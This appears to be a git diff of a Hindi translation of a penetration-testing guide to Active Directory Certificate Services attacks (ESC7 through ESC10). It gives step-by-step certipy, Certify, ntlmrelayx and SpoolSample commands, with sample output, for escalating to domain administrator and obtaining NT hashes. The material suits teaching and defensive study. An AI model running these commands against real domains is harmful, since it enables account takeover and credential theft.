**सक्षम** होना चाहिए (यह **`ManageCA`** से सक्षम किया जा सकता है) +> +> यह तकनीक इस तथ्य पर निर्भर करती है कि जिन उपयोगकर्ताओं के पास `Manage CA` _और_ `Manage Certificates` एक्सेस राइट होते हैं वे **असफल प्रमाणपत्र अनुरोध जारी कर सकते हैं**। **`SubCA`** प्रमाणपत्र टेम्पलेट **ESC1 के लिए भेद्य** है, लेकिन **केवल administrators** टेम्पलेट में नामांकन कर सकते हैं। इसलिए, एक **user** **`SubCA`** में नामांकन के लिए **request** कर सकता है — जिसे **deny** किया जाएगा — लेकिन बाद में manager द्वारा **issue** कर दिया जाएगा। +> +> #### दुरुपयोग +> +> आप अपने आप को **`Manage Certificates`** एक्सेस राइट दे सकते हैं अपने user को एक नया officer के रूप में जोड़कर। ```bash certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully added officer 'John' on 'corp-DC-CA' ``` -**`SubCA`** टेम्पलेट को `-enable-template` पैरामीटर के साथ CA पर **सक्रिय किया जा सकता है**। डिफ़ॉल्ट रूप से, `SubCA` टेम्पलेट सक्रिय है। +**`SubCA`** टेम्पलेट को **CA पर सक्षम** किया जा सकता है `-enable-template` पैरामीटर के साथ। डिफ़ॉल्ट रूप से, `SubCA` टेम्पलेट सक्षम है। ```bash # List templates certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA' @@ -285,9 +302,9 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully enabled 'SubCA' on 'corp-DC-CA' ``` -यदि हमने इस हमले के लिए पूर्वापेक्षाएँ पूरी कर ली हैं, तो हम **`SubCA` टेम्पलेट के आधार पर एक प्रमाणपत्र के लिए अनुरोध करना शुरू कर सकते हैं**। +यदि हमने इस हमले के लिए पूर्वापेक्षाएँ पूरी कर ली हैं, तो हम **`SubCA` टेम्पलेट पर आधारित प्रमाणपत्र का अनुरोध करके** शुरू कर सकते हैं। -**यह अनुरोध अस्वीकृत कर दिया जाएगा**, लेकिन हम निजी कुंजी को सहेज लेंगे और अनुरोध आईडी को नोट कर लेंगे। +**यह अनुरोध अस्वीकृ**त, लेकिन हम private key को सहेजेंगे और request ID नोट कर लेंगे। ```bash certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -299,14 +316,14 @@ Would you like to save the private key? (y/N) y [*] Saved private key to 785.key [-] Failed to request certificate ``` -हमारे **`Manage CA` और `Manage Certificates`** के साथ, हम फिर **असफल प्रमाणपत्र** अनुरोध को `ca` कमांड और `-issue-request ` पैरामीटर के साथ **जारी** कर सकते हैं। +हमारी **`Manage CA` और `Manage Certificates`** के साथ, हम फिर `ca` कमांड और `-issue-request ` पैरामीटर के साथ **असफल सर्टिफिकेट जारी करने का** अनुरोध कर सकते हैं। ```bash certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully issued certificate ``` -और अंत में, हम `req` कमांड और `-retrieve ` पैरामीटर के साथ **जारी किया गया प्रमाणपत्र** प्राप्त कर सकते हैं। +और अंत में, हम `req` कमांड और `-retrieve ` पैरामीटर का उपयोग करके **जारी किए गए प्रमाणपत्र को पुनः प्राप्त कर सकते हैं**। ```bash certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785 Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -322,65 +339,63 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) #### Explanation -क्लासिक ESC7 दुरुपयोगों (EDITF विशेषताओं को सक्षम करने या लंबित अनुरोधों को मंजूरी देने) के अलावा, **Certify 2.0** ने एक नया प्राइमिटिव प्रकट किया है जिसे केवल *Manage Certificates* (जिसे **Certificate Manager / Officer** भी कहा जाता है) भूमिका की आवश्यकता होती है जो एंटरप्राइज CA पर है। +क्लासिक ESC7 abuses (EDITF attributes सक्षम करना या pending requests को approve करना) के अलावा, **Certify 2.0** ने एक नया primitive उजागर किया है जिसे Enterprise CA पर केवल *Manage Certificates* (या **Certificate Manager / Officer**) भूमिका की आवश्यकता होती है। -`ICertAdmin::SetExtension` RPC विधि को कोई भी प्रिंसिपल जो *Manage Certificates* रखता है, द्वारा निष्पादित किया जा सकता है। जबकि यह विधि पारंपरिक रूप से वैध CAs द्वारा **लंबित** अनुरोधों पर एक्सटेंशन को अपडेट करने के लिए उपयोग की जाती थी, एक हमलावर इसका दुरुपयोग करके **एक *non-default* प्रमाणपत्र एक्सटेंशन** (उदाहरण के लिए एक कस्टम *Certificate Issuance Policy* OID जैसे `1.1.1.1`) को एक अनुरोध में जोड़ सकता है जो मंजूरी की प्रतीक्षा कर रहा है। +`ICertAdmin::SetExtension` RPC method किसी भी principal द्वारा चलाया जा सकता है जिसके पास *Manage Certificates* है। जबकि यह method पारंपरिक रूप से legitimate CAs द्वारा **pending** requests पर extensions अपडेट करने के लिए उपयोग किया जाता था, एक attacker इसे किसी awaiting approval request में **एक *non-default* certificate extension जोड़ने** के लिए abuse कर सकता है (उदाहरण के लिए एक कस्टम *Certificate Issuance Policy* OID जैसे `1.1.1.1`)। -चूंकि लक्षित टेम्पलेट उस एक्सटेंशन के लिए **डिफ़ॉल्ट मान को परिभाषित नहीं करता है**, CA अंततः अनुरोध जारी करते समय हमलावर द्वारा नियंत्रित मान को अधिलेखित नहीं करेगा। परिणामस्वरूप प्रमाणपत्र में एक हमलावर द्वारा चुना गया एक्सटेंशन होता है जो: +क्योंकि targeted template उस extension के लिए **default value परिभाषित नहीं करता**, CA उस attacker-controlled value को request जारी होने पर overwrite नहीं करेगा। परिणामस्वरूप certificate में attacker-निर्धारित extension शामिल होगा जो कि: -* अन्य कमजोर टेम्पलेट्स की एप्लिकेशन / इश्यू पॉलिसी आवश्यकताओं को पूरा कर सकता है (जिससे विशेषाधिकार वृद्धि हो सकती है)। -* अतिरिक्त EKUs या नीतियों को इंजेक्ट कर सकता है जो प्रमाणपत्र को तीसरे पक्ष के सिस्टम में अप्रत्याशित विश्वास प्रदान करते हैं। +* अन्य vulnerable templates की Application / Issuance Policy आवश्यकताओं को पूरा कर सकता है (जिससे privilege escalation हो सकता है)। +* अतिरिक्त EKUs या policies inject कर सकता है जो certificate को थर्ड-पार्टी सिस्टम्स में अनपेक्षित trust दे देते हैं। -संक्षेप में, *Manage Certificates* – जिसे पहले ESC7 का “कम शक्तिशाली” आधा माना जाता था – अब पूर्ण विशेषाधिकार वृद्धि या दीर्घकालिक स्थिरता के लिए उपयोग किया जा सकता है, बिना CA कॉन्फ़िगरेशन को छुए या अधिक प्रतिबंधात्मक *Manage CA* अधिकार की आवश्यकता के। +संक्षेप में, *Manage Certificates* — जिसे पहले ESC7 के “कम शक्तिशाली” आधे के रूप में माना जाता था — अब बिना CA configuration को छूए या अधिक restrictive *Manage CA* अधिकार की आवश्यकता के बिना पूर्ण privilege escalation या long-term persistence के लिए leveraged किया जा सकता है। #### Abusing the primitive with Certify 2.0 -1. **एक प्रमाणपत्र अनुरोध सबमिट करें जो *लंबित* रहेगा।** इसे एक टेम्पलेट के साथ मजबूर किया जा सकता है जो प्रबंधक की मंजूरी की आवश्यकता होती है: +1. **ऐसा certificate request submit करें जो *pending* रहेगा।** इसे उस template के साथ मजबूर किया जा सकता है जिसे manager approval की आवश्यकता हो: ```powershell Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval -# लौटाए गए अनुरोध ID का ध्यान रखें +# Take note of the returned Request ID ``` -2. **लंबित अनुरोध में एक कस्टम एक्सटेंशन जोड़ें** नए `manage-ca` कमांड का उपयोग करके: +2. नए `manage-ca` command का उपयोग कर pending request में एक custom extension append करें: ```powershell Certify.exe manage-ca --ca SERVER\\CA-NAME \ --request-id 1337 \ ---set-extension "1.1.1.1=DER,10,01 01 00 00" # नकली इश्यू-नीति OID +--set-extension "1.1.1.1=DER,10,01 01 00 00" # fake issuance-policy OID ``` -*यदि टेम्पलेट पहले से *Certificate Issuance Policies* एक्सटेंशन को परिभाषित नहीं करता है, तो ऊपर दिया गया मान जारी करने के बाद संरक्षित रहेगा।* +*यदि template पहले से *Certificate Issuance Policies* extension परिभाषित नहीं करता है, तो ऊपर दिया गया value issuance के बाद संरक्षित रहेगा।* -3. **अनुरोध जारी करें** (यदि आपकी भूमिका में *Manage Certificates* मंजूरी अधिकार भी हैं) या किसी ऑपरेटर के इसे मंजूर करने की प्रतीक्षा करें। एक बार जारी होने के बाद, प्रमाणपत्र डाउनलोड करें: +3. **Request को issue करें** (यदि आपकी भूमिका में *Manage Certificates* approval rights भी हैं) या किसी operator के approve करने का इंतज़ार करें। एक बार issued होने पर certificate डाउनलोड करें: ```powershell Certify.exe request-download --ca SERVER\\CA-NAME --id 1337 ``` -4. परिणामस्वरूप प्रमाणपत्र अब दुर्भावनापूर्ण इश्यू-नीति OID को शामिल करता है और इसे बाद के हमलों (जैसे ESC13, डोमेन वृद्धि, आदि) में उपयोग किया जा सकता है। +4. परिणामस्वरूप certificate अब malicious issuance-policy OID को रखता है और subsequent attacks (जैसे ESC13, domain escalation, आदि) में उपयोग किया जा सकता है। -> NOTE: समान हमला Certipy ≥ 4.7 के साथ `ca` कमांड और `-set-extension` पैरामीटर के माध्यम से निष्पादित किया जा सकता है। +> NOTE: वही attack Certipy ≥ 4.7 के साथ `ca` command और `-set-extension` parameter के ज़रिए भी executed किया जा सकता है। ## NTLM Relay to AD CS HTTP Endpoints – ESC8 ### Explanation > [!TIP] -> उन वातावरणों में जहां **AD CS स्थापित है**, यदि एक **वेब नामांकन अंत बिंदु कमजोर** है और कम से कम एक **प्रमाणपत्र टेम्पलेट प्रकाशित है** जो **डोमेन कंप्यूटर नामांकन और क्लाइंट प्रमाणीकरण** की अनुमति देता है (जैसे डिफ़ॉल्ट **`Machine`** टेम्पलेट), तो **किसी भी कंप्यूटर जो स्पूलर सेवा सक्रिय है, को एक हमलावर द्वारा समझौता किया जा सकता है**! +> जिन environments में **AD CS installed** है, यदि कोई **web enrollment endpoint vulnerable** है और कम से कम एक **certificate template published** है जो **domain computer enrollment और client authentication** की अनुमति देता है (उदाहरण के लिए default **`Machine`** template), तो यह संभव हो जाता है कि **spooler service सक्रिय किसी भी कंप्यूटर को attacker द्वारा compromise किया जा सके**! -AD CS द्वारा कई **HTTP-आधारित नामांकन विधियों** का समर्थन किया जाता है, जो अतिरिक्त सर्वर भूमिकाओं के माध्यम से उपलब्ध होती हैं जिन्हें प्रशासक स्थापित कर सकते हैं। HTTP-आधारित प्रमाणपत्र नामांकन के लिए ये इंटरफेस **NTLM रिले हमलों** के प्रति संवेदनशील होते हैं। एक हमलावर, एक **समझौता किए गए मशीन से, किसी भी AD खाते का अनुकरण कर सकता है जो इनबाउंड NTLM के माध्यम से प्रमाणीकरण करता है**। पीड़ित खाते का अनुकरण करते समय, इन वेब इंटरफेस को एक हमलावर द्वारा **`User` या `Machine` प्रमाणपत्र टेम्पलेट्स का उपयोग करके एक क्लाइंट प्रमाणीकरण प्रमाणपत्र के लिए अनुरोध करने के लिए एक्सेस किया जा सकता है**। +AD CS कई **HTTP-based enrollment methods** को सपोर्ट करता है, जो additional server roles के माध्यम से उपलब्ध कराए जाते हैं जिन्हें administrators इंस्टॉल कर सकते हैं। ये HTTP-based certificate enrollment इंटरफेस **NTLM relay attacks** के प्रति susceptible होते हैं। एक attacker, एक **compromised machine** से, किसी भी AD account की impersonation कर सकता है जो inbound NTLM के माध्यम से authenticate करता है। victim account की impersonation करते हुए, attacker इन web interfaces को access कर सकता है और `User` या `Machine` certificate templates का उपयोग करके **client authentication certificate** request कर सकता है। -- **वेब नामांकन इंटरफेस** (एक पुरानी ASP एप्लिकेशन जो `http:///certsrv/` पर उपलब्ध है), डिफ़ॉल्ट रूप से केवल HTTP पर है, जो NTLM रिले हमलों के खिलाफ सुरक्षा प्रदान नहीं करता है। इसके अतिरिक्त, यह स्पष्ट रूप से केवल NTLM प्रमाणीकरण की अनुमति देता है इसके Authorization HTTP हेडर के माध्यम से, जिससे अधिक सुरक्षित प्रमाणीकरण विधियाँ जैसे Kerberos अनुपयुक्त हो जाती हैं। -- **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) वेब सेवा, और **Network Device Enrollment Service** (NDES) डिफ़ॉल्ट रूप से अपने Authorization HTTP हेडर के माध्यम से बातचीत प्रमाणीकरण का समर्थन करते हैं। बातचीत प्रमाणीकरण **दोनों** Kerberos और **NTLM** का समर्थन करता है, जिससे एक हमलावर **NTLM** प्रमाणीकरण के लिए डाउनग्रेड कर सकता है। हालांकि ये वेब सेवाएँ डिफ़ॉल्ट रूप से HTTPS सक्षम करती हैं, HTTPS अकेले **NTLM रिले हमलों के खिलाफ सुरक्षा नहीं करता है**। HTTPS सेवाओं के लिए NTLM रिले हमलों से सुरक्षा केवल तब संभव है जब HTTPS को चैनल बाइंडिंग के साथ जोड़ा जाए। दुर्भाग्यवश, AD CS IIS पर प्रमाणीकरण के लिए विस्तारित सुरक्षा को सक्रिय नहीं करता है, जो चैनल बाइंडिंग के लिए आवश्यक है। +- **web enrollment interface** (एक पुराना ASP application जो `http:///certsrv/` पर उपलब्ध है), default रूप से केवल HTTP पर चलता है, जो NTLM relay attacks के खिलाफ कोई सुरक्षा प्रदान नहीं करता। इसके अलावा, यह स्पष्ट रूप से Authorization HTTP header के माध्यम से केवल NTLM authentication की अनुमति देता है, जिससे Kerberos जैसे अधिक secure authentication methods लागू नहीं होते। +- **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) Web Service, और **Network Device Enrollment Service** (NDES) default रूप से अपनी Authorization HTTP header के माध्यम से negotiate authentication का समर्थन करते हैं। Negotiate authentication Kerberos और **NTLM** दोनों का समर्थन करता है, जिससे attacker relay attacks के दौरान authentication को **NTLM** में downgrade कर सकता है। हालांकि ये web services default रूप से HTTPS सक्षम करते हैं, केवल HTTPS itself **NTLM relay attacks** से सुरक्षा प्रदान नहीं करता। HTTPS services के लिए NTLM relay attacks से सुरक्षा तब ही संभव है जब HTTPS channel binding के साथ संयोजन में हो। अफसोस की बात है कि AD CS IIS पर Extended Protection for Authentication को सक्रिय नहीं करता, जो channel binding के लिए आवश्यक है। -NTLM रिले हमलों के साथ एक सामान्य **समस्या** NTLM सत्रों की **संक्षिप्त अवधि** और हमलावर की उन सेवाओं के साथ बातचीत करने में असमर्थता है जो **NTLM साइनिंग** की आवश्यकता होती है। - -फिर भी, इस सीमा को एक NTLM रिले हमले का लाभ उठाकर उपयोगकर्ता के लिए एक प्रमाणपत्र प्राप्त करके पार किया जाता है, क्योंकि प्रमाणपत्र की वैधता अवधि सत्र की अवधि को निर्धारित करती है, और प्रमाणपत्र को उन सेवाओं के साथ उपयोग किया जा सकता है जो **NTLM साइनिंग** की आवश्यकता होती है। चुराए गए प्रमाणपत्र का उपयोग करने के निर्देशों के लिए देखें: +NTLM relay attacks के साथ एक सामान्य **issue** NTLM sessions की **छोटी अवधि** और attacker की उस सेवा के साथ इंटरैक्ट न कर पाने की क्षमता है जो **NTLM signing** की मांग करती हैं। +फिर भी, इस limitation को तब पार किया जा सकता है जब NTLM relay attack का उपयोग करके user के लिए certificate हासिल किया जाए, क्योंकि certificate की validity period session की अवधि निर्धारित करती है, और certificate उन सेवाओं के साथ उपयोग किया जा सकता है जो **NTLM signing** अनिवार्य करती हैं। चोरी किए गए certificate का उपयोग करने के निर्देशों के लिए देखें: {{#ref}} account-persistence.md {{#endref}} -NTLM रिले हमलों की एक और सीमा यह है कि **एक हमलावर-नियंत्रित मशीन को एक पीड़ित खाते द्वारा प्रमाणीकरण किया जाना चाहिए**। हमलावर या तो प्रतीक्षा कर सकता है या इस प्रमाणीकरण को **बलात्कृत** करने का प्रयास कर सकता है: - +NTLM relay attacks की एक और limitation यह है कि **attacker-controlled मशीन को victim account द्वारा authenticate किया जाना चाहिए**। attacker या तो इंतज़ार कर सकता है या इस authentication को **force** करने का प्रयास कर सकता है: {{#ref}} ../printers-spooler-service-abuse.md @@ -394,7 +409,7 @@ Certify.exe cas ```
-`msPKI-Enrollment-Servers` प्रॉपर्टी का उपयोग एंटरप्राइज सर्टिफिकेट ऑथोरिटीज़ (CAs) द्वारा सर्टिफिकेट एनरोलमेंट सर्विस (CES) एंडपॉइंट्स को स्टोर करने के लिए किया जाता है। इन एंडपॉइंट्स को टूल **Certutil.exe** का उपयोग करके पार्स और लिस्ट किया जा सकता है: +`msPKI-Enrollment-Servers` प्रॉपर्टी का उपयोग एंटरप्राइज़ Certificate Authorities (CAs) द्वारा Certificate Enrollment Service (CES) endpoints को स्टोर करने के लिए किया जाता है। इन endpoints को टूल **Certutil.exe** का उपयोग करके पार्स और सूचीबद्ध किया जा सकता है: ``` certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA ``` @@ -405,7 +420,7 @@ Get-CertificationAuthority | select Name,Enroll* | Format-List * ```
-#### Certify का दुरुपयोग +#### Abuse with Certify ```bash ## In the victim machine # Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine @@ -420,11 +435,13 @@ proxychains ntlmrelayx.py -t http:///certsrv/certfnsh.asp -smb2sup # Force authentication from victim to compromised machine with port forwards execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe ``` -#### Abuse with [Certipy](https://github.com/ly4k/Certipy) +#### [Certipy](https://github.com/ly4k/Certipy) के साथ दुरुपयोग -सर्टिफिकेट के लिए अनुरोध Certipy द्वारा डिफ़ॉल्ट रूप से `Machine` या `User` टेम्पलेट के आधार पर किया जाता है, जो इस पर निर्भर करता है कि क्या रिले किया जा रहा खाता नाम `$` पर समाप्त होता है। एक वैकल्पिक टेम्पलेट का निर्दिष्ट करना `-template` पैरामीटर का उपयोग करके किया जा सकता है। +डिफ़ॉल्ट रूप से Certipy सर्टिफिकेट के अनुरोध के लिए उस टेम्पलेट का उपयोग करता है जो `Machine` या `User` होता है — यह इस बात पर निर्भर करता है कि रिलेड किए जा रहे अकाउंट का नाम `$` पर समाप्त होता है या नहीं। -एक तकनीक जैसे [PetitPotam](https://github.com/ly4k/PetitPotam) का उपयोग फिर प्रमाणीकरण को मजबूर करने के लिए किया जा सकता है। डोमेन नियंत्रकों के साथ काम करते समय, `-template DomainController` का निर्दिष्ट करना आवश्यक है। +एक वैकल्पिक टेम्पलेट को `-template` पैरामीटर के उपयोग से निर्दिष्ट किया जा सकता है। + +[PetitPotam](https://github.com/ly4k/PetitPotam) जैसी तकनीक का फिर प्रमाणीकरण को जबरदस्ती कराने के लिए उपयोग किया जा सकता है। डोमेन कंट्रोलर्स के मामले में, `-template DomainController` निर्दिष्ट करना आवश्यक है। ```bash certipy relay -ca ca.corp.local Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -437,95 +454,95 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Saved certificate and private key to 'administrator.pfx' [*] Exiting... ``` -## No Security Extension - ESC9 - -### Explanation - -नया मान **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) के लिए **`msPKI-Enrollment-Flag`**, जिसे ESC9 कहा जाता है, एक प्रमाणपत्र में **नए `szOID_NTDS_CA_SECURITY_EXT` सुरक्षा विस्तार** को एम्बेड करने से रोकता है। यह ध्वज तब प्रासंगिक हो जाता है जब `StrongCertificateBindingEnforcement` को `1` (डिफ़ॉल्ट सेटिंग) पर सेट किया गया हो, जो `2` के सेटिंग के विपरीत है। इसका महत्व उन परिदृश्यों में बढ़ जाता है जहां Kerberos या Schannel के लिए एक कमजोर प्रमाणपत्र मैपिंग का शोषण किया जा सकता है (जैसे ESC10 में), यह देखते हुए कि ESC9 की अनुपस्थिति आवश्यकताओं को नहीं बदलेगी। - -इस ध्वज के सेटिंग के महत्वपूर्ण होने की शर्तें शामिल हैं: - -- `StrongCertificateBindingEnforcement` को `2` पर समायोजित नहीं किया गया है (डिफ़ॉल्ट `1` है), या `CertificateMappingMethods` में `UPN` ध्वज शामिल है। -- प्रमाणपत्र को `msPKI-Enrollment-Flag` सेटिंग के भीतर `CT_FLAG_NO_SECURITY_EXTENSION` ध्वज के साथ चिह्नित किया गया है। -- प्रमाणपत्र द्वारा किसी भी क्लाइंट प्रमाणीकरण EKU निर्दिष्ट किया गया है। -- किसी भी खाते पर `GenericWrite` अनुमतियाँ उपलब्ध हैं ताकि किसी अन्य को समझौता किया जा सके। - -### Abuse Scenario - -मान लीजिए `John@corp.local` के पास `Jane@corp.local` पर `GenericWrite` अनुमतियाँ हैं, जिसका लक्ष्य `Administrator@corp.local` को समझौता करना है। `ESC9` प्रमाणपत्र टेम्पलेट, जिसमें `Jane@corp.local` को नामांकित करने की अनुमति है, को इसके `msPKI-Enrollment-Flag` सेटिंग में `CT_FLAG_NO_SECURITY_EXTENSION` ध्वज के साथ कॉन्फ़िगर किया गया है। - -शुरुआत में, `Jane` का हैश `John` के `GenericWrite` के कारण Shadow Credentials का उपयोग करके प्राप्त किया जाता है: -```bash -certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane -``` -इसके बाद, `Jane` का `userPrincipalName` `Administrator` में संशोधित किया जाता है, जानबूझकर `@corp.local` डोमेन भाग को छोड़ दिया जाता है: -```bash -certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator -``` -यह संशोधन प्रतिबंधों का उल्लंघन नहीं करता है, यह देखते हुए कि `Administrator@corp.local` `Administrator` के `userPrincipalName` के रूप में अलग बना रहता है। - -इसके बाद, `ESC9` प्रमाणपत्र टेम्पलेट, जिसे कमजोर माना गया है, को `Jane` के रूप में अनुरोध किया जाता है: -```bash -certipy req -username jane@corp.local -hashes -ca corp-DC-CA -template ESC9 -``` -यह नोट किया गया है कि प्रमाणपत्र का `userPrincipalName` `Administrator` को दर्शाता है, जिसमें कोई “object SID” नहीं है। - -`Jane` का `userPrincipalName` फिर से उसके मूल, `Jane@corp.local` में बदल दिया जाता है: -```bash -certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local -``` -प्रदत्त प्रमाणपत्र के साथ प्रमाणीकरण करने का प्रयास अब `Administrator@corp.local` का NT हैश देता है। कमांड में `-domain ` शामिल होना चाहिए क्योंकि प्रमाणपत्र में डोमेन निर्दिष्ट नहीं है: -```bash -certipy auth -pfx adminitrator.pfx -domain corp.local -``` -## कमजोर प्रमाणपत्र मैपिंग - ESC10 +## कोई सुरक्षा एक्सटेंशन - ESC9 ### व्याख्या -डोमेन नियंत्रक पर दो रजिस्ट्री कुंजी मान ESC10 द्वारा संदर्भित हैं: +नया मान **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) जो **`msPKI-Enrollment-Flag`** के लिए है, जिसे ESC9 कहा जाता है, प्रमाणपत्र में नए `szOID_NTDS_CA_SECURITY_EXT` security extension को एम्बेड होने से रोकता है। यह फ़्लैग तब प्रासंगिक हो जाता है जब `StrongCertificateBindingEnforcement` को `1` (डिफ़ॉल्ट सेटिंग) पर सेट किया गया हो, जो कि `2` की सेटिंग से विपरीत है। इसका महत्व उन परिदृश्यों में बढ़ जाता है जहाँ Kerberos या Schannel के लिए कमजोर certificate mapping का दुरुपयोग किया जा सकता है (जैसा कि ESC10 में है), क्योंकि ESC9 की अनुपस्थिति आवश्यकताओं को बदलती नहीं। -- `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` के तहत `CertificateMappingMethods` के लिए डिफ़ॉल्ट मान `0x18` (`0x8 | 0x10`) है, जो पहले `0x1F` पर सेट था। -- `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` के तहत `StrongCertificateBindingEnforcement` के लिए डिफ़ॉल्ट सेटिंग `1` है, जो पहले `0` थी। +उससे जुड़े परिस्थितियाँ जिनमें इस फ्लैग की सेटिंग महत्वपूर्ण हो जाती है, शामिल हैं: -**मामला 1** +- `StrongCertificateBindingEnforcement` को `2` पर समायोजित नहीं किया गया है (डिफ़ॉल्ट `1` है), या `CertificateMappingMethods` में `UPN` फ्लैग शामिल है। +- प्रमाणपत्र को `msPKI-Enrollment-Flag` सेटिंग में `CT_FLAG_NO_SECURITY_EXTENSION` फ़्लैग के साथ चिह्नित किया गया है। +- किसी भी client authentication EKU को प्रमाणपत्र द्वारा निर्दिष्ट किया गया है। +- किसी खाते पर किसी अन्य खाते को समझौता करने के लिए `GenericWrite` अनुमतियाँ उपलब्ध हैं। -जब `StrongCertificateBindingEnforcement` को `0` के रूप में कॉन्फ़िगर किया गया है। +### दुरुपयोग परिदृश्य -**मामला 2** +मान लीजिए `John@corp.local` के पास `Jane@corp.local` पर `GenericWrite` अनुमतियाँ हैं, और उद्देश्य `Administrator@corp.local` को समझौता करना है। `ESC9` certificate template, जिसमें `Jane@corp.local` को enroll करने की अनुमति है, को इसके `msPKI-Enrollment-Flag` सेटिंग में `CT_FLAG_NO_SECURITY_EXTENSION` फ़्लैग के साथ कॉन्फ़िगर किया गया है। + +प्रारम्भ में, `Jane` का hash `Shadow Credentials` का उपयोग करके प्राप्त किया जाता है, जो `John` की `GenericWrite` के कारण संभव हुआ: +```bash +certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane +``` +उसके बाद, `Jane` का `userPrincipalName` जानबूझकर `@corp.local` डोमेन भाग को छोड़ते हुए `Administrator` में संशोधित किया गया: +```bash +certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator +``` +यह संशोधन प्रतिबंधों का उल्लंघन नहीं करता, क्योंकि `Administrator@corp.local` `Administrator` के `userPrincipalName` के रूप में अलग बना रहता है। + +इसके बाद, `ESC9` प्रमाणपत्र टेम्पलेट, जिसे vulnerable के रूप में चिह्नित किया गया था, `Jane` के रूप में अनुरोध किया गया: +```bash +certipy req -username jane@corp.local -hashes -ca corp-DC-CA -template ESC9 +``` +ध्यान दें कि प्रमाणपत्र का `userPrincipalName` `Administrator` दिखा रहा है, और इसमें कोई “object SID” नहीं है। + +`Jane` का `userPrincipalName` फिर उसकी मूल, `Jane@corp.local`, पर वापस कर दिया जाता है: +```bash +certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local +``` +इश्यू किए गए प्रमाणपत्र के साथ प्रमाणीकरण का प्रयास अब `Administrator@corp.local` का NT hash देता है। प्रमाणपत्र में domain निर्दिष्ट न होने के कारण कमांड में `-domain ` शामिल होना चाहिए: +```bash +certipy auth -pfx adminitrator.pfx -domain corp.local +``` +## Weak Certificate Mappings - ESC10 + +### व्याख्या + +डोमेन कंट्रोलर पर दो रजिस्ट्री कुंजी मान ESC10 द्वारा संदर्भित हैं: + +- `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` के अंतर्गत `CertificateMappingMethods` का डिफ़ॉल्ट मान `0x18` (`0x8 | 0x10`) है, पहले यह `0x1F` पर सेट था। +- `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` के अंतर्गत `StrongCertificateBindingEnforcement` की डिफ़ॉल्ट सेटिंग `1` है, पहले `0` थी। + +**Case 1** + +जब `StrongCertificateBindingEnforcement` को `0` पर कॉन्फ़िगर किया गया हो। + +**Case 2** यदि `CertificateMappingMethods` में `UPN` बिट (`0x4`) शामिल है। ### दुरुपयोग मामला 1 -जब `StrongCertificateBindingEnforcement` को `0` के रूप में कॉन्फ़िगर किया गया है, तो `GenericWrite` अनुमतियों के साथ एक खाता A का उपयोग किसी भी खाते B को समझौता करने के लिए किया जा सकता है। +जब `StrongCertificateBindingEnforcement` को `0` पर कॉन्फ़िगर किया गया हो, तो `GenericWrite` permissions वाला खाता A किसी भी खाते B को समझौता करने के लिए शोषित किया जा सकता है। -उदाहरण के लिए, `Jane@corp.local` पर `GenericWrite` अनुमतियों के साथ, एक हमलावर `Administrator@corp.local` को समझौता करने का लक्ष्य रखता है। यह प्रक्रिया ESC9 के समान है, जो किसी भी प्रमाणपत्र टेम्पलेट का उपयोग करने की अनुमति देती है। +उदाहरण के लिए, यदि `Jane@corp.local` पर `GenericWrite` permissions हैं, तो एक हमलावर `Administrator@corp.local` को समझौता करने का लक्ष्य रख सकता है। प्रक्रिया ESC9 की तरह है, जिससे कोई भी certificate template उपयोग किया जा सकता है। -शुरुआत में, `Jane` का हैश Shadow Credentials का उपयोग करके प्राप्त किया जाता है, `GenericWrite` का दुरुपयोग करते हुए। +प्रारंभ में, `Jane` का hash Shadow Credentials का उपयोग करके प्राप्त किया जाता है, `GenericWrite` का दुरुपयोग करते हुए। ```bash certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane ``` -इसके बाद, `Jane` का `userPrincipalName` `Administrator` में बदल दिया जाता है, जानबूझकर `@corp.local` भाग को छोड़ दिया जाता है ताकि कोई बाधा उल्लंघन न हो। +इसके बाद, `Jane` का `userPrincipalName` `Administrator` में बदल दिया गया, जानबूझकर `@corp.local` भाग को छोड़कर ताकि किसी प्रतिबंध उल्लंघन से बचा जा सके। ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator ``` -इसके बाद, डिफ़ॉल्ट `User` टेम्पलेट का उपयोग करते हुए `Jane` के रूप में क्लाइंट प्रमाणीकरण सक्षम करने वाला एक प्रमाणपत्र अनुरोध किया जाता है। +इसके बाद, डिफ़ॉल्ट `User` टेम्पलेट का उपयोग करते हुए `Jane` के लिए क्लाइंट प्रमाणन सक्षम करने वाला एक प्रमाणपत्र अनुरोध किया जाता है। ```bash certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes ``` 